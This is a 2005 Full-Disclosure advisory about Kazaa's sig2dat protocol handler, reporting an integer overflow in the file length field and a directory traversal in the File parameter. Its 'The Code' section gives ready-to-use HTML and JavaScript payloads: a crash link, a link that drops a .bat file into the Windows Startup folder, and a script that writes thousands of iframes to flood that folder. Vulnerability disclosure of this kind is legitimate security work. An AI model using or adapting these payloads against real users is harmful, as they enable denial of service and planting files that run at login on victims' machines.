Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:7618
HistoryJan 18, 2005 - 12:00 a.m.

[Full-Disclosure] Kazaa Sig2Dat Protocol Remote Integer Overflow and Denial Of Service by creating files in arbitrary locations

2005-01-1800:00:00
vulners.com
12

Application:   Kazaa
Vendors:       http://www.kazaa.com
Versions:       kazaa lite k++(probably all others too...)
Platforms:      Windows
Bug:              Sig2Dat Protocol Remote Integer Overflow and
                     Denial Of Service by creating files in arbitrary
locations
Exploitation:   Remote With Browser
Date:             17 Jan 2005
Author:          Rafel Ivgi, The-Insider
E-Mail:          [email protected]
Website:        http://theinsider.deep-ice.com

1) Introduction
2) Bugs
3) The Code


===============
1) Introduction
===============

Kazaa is currently the world’s most common P2P file sharing application.
When installing Kazaa a new protocol is installed named “sig2dat”.
This protocol contain an integer overflow vulnerability which may cause
a crash and may allow remote execution of code. There is another
vulnerability in the “File:” parameter which allows creating files in
arbitrary locations and committing Denial Of Service.

======
2) Bug

The sig2dat protocol syntax:
Sig2dat://<filename>%7c<file length in bytes>< file length in
kilobytes>%7c<HASH>%7c

The vulnerable parameter is the file “Length” (in bytes). Specifying a
numeric value bigger than a 999999999.

Successful exploiting of this vulnerability may allow remote code execution.

There is another vulnerability in the “File:” parameter. It allows creation
of files in arbitrary locations within the same partition as the shared
folder,
using the classic directory transversal technique “…/”.

For Example:
<A HREF="sig2dat://%7CFile:…/…/…/…/…/…/Docume~1/All Users/Start Menu/
Programs/Startup/cool.bat%7CLength:373236528%20Bytes,364489KB%7CUUHash:=DEf
m3HmvILkNcbY7j5NGa%2BD11CQ=%7C/">CLICK HERE</A>


===========
3&#41; The Code
===========

1&#41; &lt;A HREF=&quot;sig2dat://&#37;7CFile:dev-catz5&#37;28.bin&#37;7CLength:99999999999999999999
9999999&#37;20Bytes,364489KB&#37;7CUUHash:=DEfm3HmvILkNcbY7j5NGa&#37;2BD11CQ=&#37;7C/&quot;&gt;CLICK
HERE&lt;/A&gt;
*********************************************************************
2&#41; &lt;A HREF=&quot;sig2dat://&#37;7CFile:../../../../../../Docume~1/All Users/Start
Menu
/Programs/Startup/cool.bat&#37;7CLength:373236528&#37;20Bytes,364489KB&#37;7CUUHash:=DEf
m
3HmvILkNcbY7j5NGa&#37;2BD11CQ=&#37;7C/&quot;&gt;CLICK HERE&lt;/A&gt;
*********************************************************************
3&#41; &lt;script&gt;
var i
for &#40;i=1;i&lt;10000;i++&#41;
{
mylocation=&quot;&lt;iframe src=&#39;sig2dat://&#37;7CFile:../../../../../../Docume~1/All
Users
/Start
Menu/Programs/Startup/cool&quot;+i+&quot;.bat&#37;7CLength:373236528&#37;20Bytes,364489KB&#37;
7CUUHash:=DEfm3HmvILkNcbY7j5NGa&#37;2BD11CQ=&#37;7C/&#39;&gt;&lt;/iframe&gt;&quot;;
document.write&#40;mylocation&#41;;
}
&lt;/script&gt;



Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com

"Scripts and Codes will make me D.O.S , but they will never HACK me."


Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html